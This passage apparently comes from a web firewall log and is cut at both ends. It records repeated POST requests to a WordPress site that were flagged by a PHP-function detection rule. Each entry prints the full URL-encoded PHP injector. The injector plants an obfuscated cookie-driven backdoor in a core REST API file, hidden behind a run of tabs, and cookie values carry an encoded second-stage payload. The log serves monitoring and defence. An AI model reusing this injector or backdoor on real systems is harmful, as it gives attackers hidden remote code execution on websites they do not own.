20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 20:47:15","38.99.81.38","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:3296\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nQu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:47:26","91.142.222.105","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp0LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:3296\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nsF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:48:28","41.76.213.235","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGHLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3296\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nMF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 20:49:04","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B1%255D%2528%2524p%255B0%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:3296\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nxQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-block-pattern-categories-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B40%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D3%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B40%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B40%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B3%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B9%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B26%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2